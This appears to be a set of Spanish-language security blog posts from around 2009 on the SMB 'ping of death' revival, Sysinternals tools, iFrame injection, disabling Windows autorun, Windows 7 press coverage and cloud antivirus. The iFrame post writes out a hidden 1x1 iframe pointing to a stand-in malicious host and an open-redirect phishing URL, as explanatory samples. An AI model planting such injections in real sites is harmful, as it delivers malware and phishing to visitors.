You are a dead man.
Response: Sure, do you have an exploit of death?
La historia del hombre siempre parece que es cíclica, sucede con los mercados bursátiles y con las crisis económicas, sucede cuando olvidamos o no reflexionamos sobre los acontecimientos que nos atañen y, pasado un tiempo, volvemos a encontrarnos como estábamos. Reflexionando un poco parece como si entráramos en un bucle del que estamos “obligados” a tomar la decisión correcta y aprender de nuestros errores. Algo así como el día de la marmota o atrapado en el tiempo:
Supongo que estas cosas también ocurren en las cosas que el hombre crea, en un paralelismo un tanto retorcido ahí tenemos la vieja vulnerabilidad de el ping de la muerte que, a parte de tener un nombre cool, fue un fastidio durante bastante tiempo, en especial por que allá por la edad de piedra de la informática, año 1996, había muchas cosas y muy buenas, pero todavía no había Seguridad ni cultura y sensibilización sobre la misma.
13 años después me llega un correo de Hispasec donde enviando unos paquetes especialmente manipulados a un Windows Vista o Windows 7 que tengan el servicio SMB activo (en Vista, si no recuerdo mal por defecto), te tira la máquina provocando un BSOD ya que el driver que interpreta las cabeceras de los paquetes para ese protocolo trabaja en la “Zona Cero” del núcleo. Curiosamente lo han publicado “sin avisar” y actualmente es explotable (más info en el blog de Laurent Gaffié ) un viejo ataque (desbordamiento de buffer) para nuevos Sistemas Operativos, ¿cíclico? Lo dejo a opinión del lector. Lo que está claro es que los tiempos entonces no son los tiempos de ahora, la política de actualización de parches de Microsoft podrá ser mejor o peor, pero es constante y bajo periodos definidos, salvo excepciones claro. Y lo que es más importante de todo, atosiga al usuario con avisos para que actualice. Bajo ese escenario empresas y usuarios domésticos pueden estar algo más tranquilos que allá por el 96.
Por cierto, en el 2004 salió otro de esos exploits con nombre cool, se llamaba JPEG of Death y Microsoft tardó varias semanas en publicar parche, sin embargo y curiosamente a día de hoy me he encontrado con muchos antivirus que no detectan los exploits disponibles en milw0rm. Eso si, será difícil encontrar una víctima sin actualizar.
¿Cuándo se volverá a repetir la historia?
Salu2
Process Explorer (): Un básico con unos añitos del que ya se oyó hablar cuando vimos el Svchost Analyzer. Procesos padres, hijos, consumo de CPU, hilos lanzados, consumo de CPU, etc. Una gozada:
PSTools : Pack de herramientas de gestión de procesos, con las que podremos jugar todo lo que queramos en nuestros sistema (o en otros xD) incluye:
- PsExec: Ejecuta procesos de forma remota.
- PsFile: Muestra archivos abiertos de forma remota.
- PsGetSid: Muestra el SID de un equipo o un usuario.
- PsInfo: Muestra información acerca de un sistema.
- PsKill: Elimina los procesos por el nombre o Id. de proceso.
- PsList: Muestra información acerca de procesos.
- PsLoggedOn: Averigua quién ha iniciado sesión de forma local y a través de recursos compartidos (origen completo incluido).
- PsLogList: Vuelca los registros de eventos.
- PsPasswd: Cambia las contraseñas de cuenta.
- PsService: Muestra y controla los servicios.
- PsShutDown: Apaga y reinicia opcionalmente un equipo.
- PsSuspend: Suspende los procesos.
- PsUptime: Muestra el tiempo durante el que se ha ejecutado un sistema desde el último reinicio (la funcionalidad de PsUptime se ha incluido en PsInfo).
RootkitRevealer: ¿Crees que tu antivirus no lo detecta todo? Entonces crees bien, si quieres echar un vistazo rápido a tu registro de Windows y detectar inconsistencias, buscar el gato encerrado que hay en tu sistema operativo y alimentar tu paranoia, esta es tu herramienta:
TCPView: Yo creo que si los millones de Script Kiddies del mundo que buscan en los foros el Puerto del messenger conocieran esta herramienta saldrían hackers como setas. No, en serio, con TCPView tendremos un conocimiento casi total sobre todos los flujos TCP y UDP que llegan y salen de nuestra máquina, su estado, el proceso que los inició (algo parecido al netstat –ban pero más profundo) así como la posibilidad de matar los procesos o cerrar las conexiones que no tengan buena pinta, muy util:
Poco a poco vamos ampliando nuestro kit de herramientas, ¿verdad?
Espero que tengáis una vuelta “amable”, ¡salu2!
Security Consultant: While just one Security Consultat keep breathing, that won’t happen.
Una cosa que siempre me ha causado cierta admiración es la habilidad e imaginación que las mentes de los “hackers” son capaces de desarrollar a la hora de generar sus ataques. Es una curiosa mezcla entre una gran conocimiento metodológico y sistemático de unos sistemas diseñados por el hombre sobre una base matemática y algebraica que a su vez requiere de gran creatividad e imaginación para obtener nuevas puertas, vulnerabilidades, brechas o como quieras llamarlo sobre sistemas que ya otras muchas personas se estuvieron comiendo la cabeza antes como diseñar. Recuerda un poquito a una partida de ajedrez, los movimientos son conocidos y limitados, pero las posibilidades casi infinitas (como la paradoja del grano de arroz y el tablero de ajedrez).
Esta mañana revisaba un paper con los principales vectores de ataque que el cybercrimen está utilizando en esta primera mitad del 2009, entre los que destacan estos 5:
- SQL Injection
- iFrame Injection
- Encryption Wrappers (malware)
- File Masquerading (algo que ya vimos en el Rosillo Project)
- Encryption techniques in peer to peer systems for bypass web gateways inspection systems.
El documento hace referencia a como los chicos malos utilizan tecnología tan interesante como el Grid Computing para lograr una cantidad ingente de recursos a su disposición (son las conocidas como botnets) y utilizar a su antojo. Independientemente de la opinión que os merezcan estos 5 vectores hay uno del cual llevaba sin escuchar mucho tiempo, es el iFrame Injection.
iFrame Injection
Hagamos un poquito de literatura, un iFrame o “marco incorporado” (que mal suena) es un trozito de codigo HTML que permitirá incrustar un objeto html dentro de una pagina html. Esto puede tener muchas utilidades, entre ellas la publicidad, pero alguien no tardó mucho tiempo en aprovecharse de estos “marcos” con fines delictivos. Todos recordamos esa oleada de correos que en los años 2002-2004 no había siquiera que abrir, ya que incluían código maligno que ejecutaba el gusano anexo del correo que a su vez aprovechaba una vulnerabilidad del Explorer para hacer su trabajo. Toda una interesante vuelta para llegar al objetivo de siempre: comprometer un sistema. Original, ¿verdad?
La idea se ha reciclado un poquito y vuelve a la carga, la definición que se da en el paper es la siguiente:
"iFrame injections can be as small as 1x1 white píxel at the bottom of a web page uncen by the visitor and linked to active scripts that download malware from an obscure Server"
Según Symantec cada dia unas 3000 páginas web son infectadas, algunas de ellas mediante esta técnica que bien podría utilizarse también para hacer phishing, ¿cómo? Supongamos que logro comprometer un servidor web desarrollado en ,,, digamos php (por poner un ejemplo). Supongamos que inyecto en el archivo index.php (los iFrames no son exclusivos del código HTML) el siguiente código maligno:
iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>
Como se puede apreciar el atributo de visibilidad está en “oculto”, con lo cual no se mostrará en pantalla, sin embargo se ejecutará. Lo cual cargará una pagina web maligna dentro de “la buena”. Si el sitio ya ha sido catalogado por google como “maligno” es muy probable que nos salte un disclaimer como el siguiente:
Que a su vez nos permitirá ejecutar el “Safebrowsing” de google, quien nos informará del estado de esa Web en los últimos 90 dias, por ejemplo si queremos ver el número de infecciones del Marca nos dirá:
Por lo que podremos ver mañana la victoria de España a EE.UU. con tranquilidad (esperemos). Un consejo, consultad vuestra entidad bancaria, hay alguna sorpresilla.
Esto como suponeis puede ser una pesadilla para un administrador web que tiene que recorrer todas las páginas comprometidas buscando una cadena de texto y eliminándola / reparándola, a veces son cosas tan sencillas como sustituir una referencia por otra:
https://www.victim.foo/index.php?targeturl=http://fake_victim.foo/login.php
Se puede incluso complicar la detección de estas URL para que pase totalmente desapercibida valiéndonos de alguna de las técnicas de “Proxy Jocking” que vimos hace poco, haciéndonos pensar que todo está bien cuando no es así.
Info adicional:
Clean.PHP (encuentra patrones conocidos en tu sitio web)
Web Legales en Jaque (Panda - WhitePaper)
Como veis, "nuevas" amenazas para viejos vectores de ataque.
Salu2!
No todas las medidas de seguridad son caras, de hecho la mayor parte de ellas son más que asequibles. Como consultores de seguridad vivimos en un constante ciclo de Deming, el conocido Plan-Do-Check-Act, indispensable si nos creemos aquello de “la seguridad es un proceso” o sabemos algo de
Medidas de seguridad gratuitas y de bajo impacto son las que siempre nos reclamarán, esto muchas veces parece imposible, hace falta inversión, pero otras podemos quitarnos de una tacada un porcentaje alto de riesgos con una mínima cultura de la seguridad, o simplemente estando al día de las amenazas. Si habéis leído el Informe Mcaffe sobre amenazas del primer trimestre de este año) os encontrareis con apartados curiosos como “la exageración del Confincker frente a la realidad del autorun”, con gráficas como la siguiente donde se compara la aparición de gusanos que explotan el autorun de Windows con el gusano Confincker:
Después de ver cosas así a uno le viene el regustillo de aquellos virus que se transmitían por disquetes y esos antivirus imposibles de actualizar cuando no se disponía de Internet. La in-seguridad, como la moda, siempre se repite. El caso es que la medida para mitigar este tipo de amenazas “nuevas”, aparte de tener antivirus actualizado (se da por supuestísimo) pueden pasar por una sencilla desactivación del autorun. Esto es un inicio à ejecutar à gpedit.msc (edición de las directivas de seguridad de grupo), Sistema y veremos la siguiente ventanita:
Con ello tendremos la falsa sensación de seguridad de que nuestros gusanos autorun no se ejecutarán, craso error. Basta un doble click sobre la unidad extraíble para que se ejecute, por lo que habrá que eliminarlo del registro con Inicio à Ejecutar à regedit y
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
Donde configurando los permisos de la clave tendremos:
Ah, y si queréis hacerlo de forma más cómoda tenéis las “Power Toys” disponibles aquí:
Respuesta: ¿Pero no me habías traído al teatro?
Con la informática se produce un extraño efecto similar al de los aficionados a la Formula 1, en 4 años nos hemos vuelto todos expertos en mecánica, neumáticos, alerones, corrientes de aire, difusores, etc. Por lo tanto todos tenemos derecho a opinar, exactamente igual que en la informática. Todos trabajamos con Windows, así que como usuarios somos los expertos en lo que funciona y en lo que no. Así pasó con Windows Vista, donde la mayor parte de las voces críticas no han pasado del “Inicio à Apagar”, y así va a pasar con Windows 7, sin embargo en este caso parece que se va a producir el efecto contrario, todo el mundo va a darlo por bueno “a priori” ya que viene a sustituir al denostado Vista.
El diario “El Pais” ya se hace eco de la siguiente BETA de Windows 7, y como manda la tradición, después de argumentar científicamente lo pesado que es Vista nos alegran el dia diciéndonos que Windows 7 es “igual” de pesado, solo que en estos tiempos. Otras “novedades” son que incluye Microsoft Virtual PC para ejecutar aplicaciones Windows XP y el Windows XP Mode, por otro lado hablando de seguridad tenemos el bit locker y el app locker. Un artículo curradísimo que no merece más mención, la sensación final del usuario es que voy a poder seguir utilizando mi Windows XP en este Windows 7 y que me va a funcionar en cualquier equipo nuevo.
He podido encontrar artículos similares en “El Mundo” aquí y aquí que te dejan el mismo sabor de boca. Finalmente el diario “ABC” también se hace eco del próximo sistema operativo de Redmond, en este caso el redactor parece que ha indagado un poquito más alejándose de las frases de bombo y platillo - lo que es de agradecer – y nos habla de las principales novedades (que también podrían ser discutibles, claro está):
- Compatibilidad máxima con todos los dispositivos del mercado.
- Aero Peek.
- Vista Previa (de ventanas minimizadas).
- Antivirus (con Morro de serie!!)
- UAC configurable.
- Imaginación integrada (sistema de backup mejorado).
Nunca deja de resultar curioso que los 3 grandes periódicos estén viendo la misma noticia y cómo cada uno ve cosas distintas, esto que pensábamos solo pasaba en política también se aplica a la Informática. La lógica dice que siempre hay que consultar a los profesionales, por que obviamente no es lo mismo que me ponga a contaros la teoría de cuerdas aplicada al calzado deportivo que Stephen Hawkings hablándoos de viajes espacio – tiempo y de la unificación de teorías.
Si lo que os interesa son las cuerdas, un buen previo es este:
Y si lo que os gusta es estar al día con Windows 7, mejor leed blogs como este , lo digo como usuario ;-)
Salu2
No se lo que te pasa, estás siempre en las nubes...
Respuesta: Claro hombre, es lo que se lleva ahora.
El principal beneficio del cloud computing, o “computación en nube” que tanto se está escuchando últimamente, es el ahorro de costes. Parece que la tendencia actual pasa por disponer de terminales “tontos” y dejar toda la potencia de cálculo en grandes servidores, de tal forma que las empresas puedan ahorrar en microinformática y centralizar los servicios necesarios para el trabajo del día a día al mínimo coste.
Un sencillo ejemplo de cloud computing son las Google Apps, aunque quizás sería un poco difícil de integrarlas en las Normativas y Políticas de seguridad de cualquier empresa considerable (aunque prometen cumplimiento GLB, HIPPA, etc.). Volviendo a nuestra computación en red, los antivirus parece que poco a poco también comienzan su andadura sobre este “nuevo” modelo de arquitectura. Como sabéis los antivirus se basan principalmente en firmas, es decir saben que cuando un proceso ejecuta cierta combinación de instrucciones, ahí puede existir un virus. Saben que cuando un archivo dispone de cierto hash, también puede estar infectado. También es verdad que actualmente también disponen de heurísticas que “aprenden” y detectan comportamientos clasificados como sospechosos, una escalada de privilegios, el borrado o manipulación de archivos de sistema, etc. En todo caso parece un patrón de trabajo orientado a “Listas negras”, del estilo, no me gusta tu aspecto o a ti ya te vi la otra noche y me armaste trifulca, mejor quédate en tu casa porque aquí no entrarás hoy. Claro está existen antivirus que se basan exactamente en lo contrario, “Listas blancas”, es decir, sólo aquellos que yo conozco y confío en ellos podrán ser ejecutados. Si bien ambos modelos son acertados, ninguno de ellos es válido por si solo, la correcta mezcla de ambos es la que nos proporciona antivirus eficaces.
¿Cómo integrar los antivirus en el cloud computing? Existen numerosas alternativas, por ejemplo en Panda se han decantado por aprovechar la nube para utilizar cada antivirus como un “sensor en la nube”, así todas las nuevas muestras de malware, o sospechosas de serlo son enviadas a un repositorio centralizado que compara con sus bases de datos de software maligno, compara con sus listas blancas y gracias a un sistema inteligente calcula la probabilidad de que sea nuevo malware, o no.
Otra alternativa mucho más sencilla (y económica) que sirve como “juguete” antivirus en la nube es el “Cloud Antivirus”, esta aplicación se integra en nuestro Windows XP / Vista siendo muy sencilla de utilizar:
Calcula el hash SHA-1 del archivo enviándolo a un servicio habilitado por el TEAM CYMRU(yo tampoco había oido hablar de ellos), comparan el hash con una base de datos de malware de que disponen, y te muestra el resultado del análisis:
Y esto es todo por hoy.
Salu2!
PD: Cumplimos 100 entradas juntos :-) en la siguiente toca chiste ;-D
Entradas
Comentarios
